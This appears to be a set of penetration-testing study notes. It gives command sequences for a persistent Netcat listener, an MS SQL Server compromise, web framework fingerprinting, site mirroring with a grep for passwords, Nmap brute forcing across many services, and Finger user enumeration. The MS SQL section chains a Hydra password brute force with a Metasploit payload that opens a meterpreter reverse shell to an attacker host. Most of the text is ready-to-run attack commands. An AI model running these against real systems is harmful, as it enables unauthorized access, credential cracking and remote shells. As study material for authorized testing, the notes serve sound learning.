[Netcat]Keep Netcat sockets alive to continuously listen

 The examples below demonstrate how to create Netcat sockets continuously listening in Windows and Linux/Unix, respectively.

In Windows:

cmd > nc -vv -L -p 443

In Linux/Unix:

# ncat -vv -k -l -p 443

[ICSI_CPT]A walkthrough of Pentest agaist MS SQL Server

 First confirm if MS SQL Server is running on the default port.

# nmap -Pn -sS -p 1433 192.168.0.25

After that, try to ascentain the details of the MS SQL Server.

# nmap -v -p 1433 --script=ms-sql-info 192.168.0.25

Subsequent to having the details regardin the authentication means, Hydra could be utilized to brute force the password.

# hydra -s 1433 -l sa -P /usr/share/wordlists/sqlmap.txt

Through Metasploit, let us complete the final step of the exploitation.

# msfconsole

msf > use exploit/windows/mssql/mssql_payload

msf > set payload windows/meterpreter/reverse_tcp

msf > set LHOST XXX.XXX.XXX.XXX

msf > set RHOST XXX.XXX.XXX.XXX

msf > set USERNAME sa

msf > set PASSWORD XXXXX

msf > run

[eCPPT]Identify Web Application Framework

1) Through HTTP Header

Such as "X-Content-Encoded-By: Joomla! 2.5"

2) Through Web Content

Such as "Copyright 2015 vBulletin Solutions."

3) Through HTTP Tags

e.g. "<meta name="generator" content="WordPress 4.2-beta3-31946" />"

4) Through URL

e.g. "index.php?option=%component_name%&task=%task_value%"

[ICSI_CPT]Mirror Website

#!/usr/bin/perl

use Cwd;

$| = 1;

sub check_wget(){

        $result = sprintf(`which wget`);

        if(length($result)==0){

                die "Please install Wget.\n";

        }

        return;

}

sub check_tree(){

        $result = sprintf(`which tree`);

        if(length($result)==0){

                die "Please install Tree.\n";

        }

        return;

}

#main() function:

&check_wget();

&check_tree();

print("URL\(e.g. \"https://192.168.0.22:5001/\" OR \"http://www.microsoft.com/\"\): ");

$url = <STDIN>;

chop($url);

if($url=~/(.*):\/\/(.*)\//){

        $protocol = $1;

        $server = $2;

}else{

        die "The format of $url is problematic!\nThe correct format should be like \"https://192.168.0.22:5001/\" OR \"http://www.microsoft.com/\".\n";

}

system("wget --protocol-directories -r $url > /dev/null 2>\&1");

$current_path = getcwd();

$path = $current_path."/".$protocol."/".$server."/";

print("$url has been downloaded at $path.\n");

$structure_file = $current_path."/".$protocol."_".$server."_structure.txt";

system("tree $path > $structure_file");

print("The STRUCTURE file has been generated at $structure_file.\n");

[ICSI_CPT][Spider]Crawl a website structure via wget

Suppose the target is http://192.168.0.253:5001/, you can mirror the website by executing the following command:

# wget --protocol-directories -r http://192.168.0.253:5001/

The command below enables you to detect the website's structure:

# tree ./http/192.168.0.253:5001/

Here is a command filtering out those webpages containing keywords, such as "password" in the following example:

# grep -nR password ./http/192.168.0.253:5001/

[ICSI_CPT][Brute Force]Multi Brute Force attacks performed by Nmap

Suppose the target is 192.168.0.10 in this case:

# nmap -Pn -T4 -F -sT -sU --script ftp-anon,ftp-brute,telnet-brute,ssh-brute,rexec-brute,smtp-brute,smb-brute,snmp-brute 192.168.0.10

[ICSI_CPT]Testing Finger service for User Enumeration in Unix-like

Suppose the target is 192.168.0.10:

# finger @192.168.0.10

# finger '1 2 3 4 5 6 7 8 9 0'@192.168.0.10

# finger 0@192.168.0.10

# finger .@192.168.0.10

# finger **@192.168.0.10

# finger user@192.168.0.10

# finger test@192.168.0.10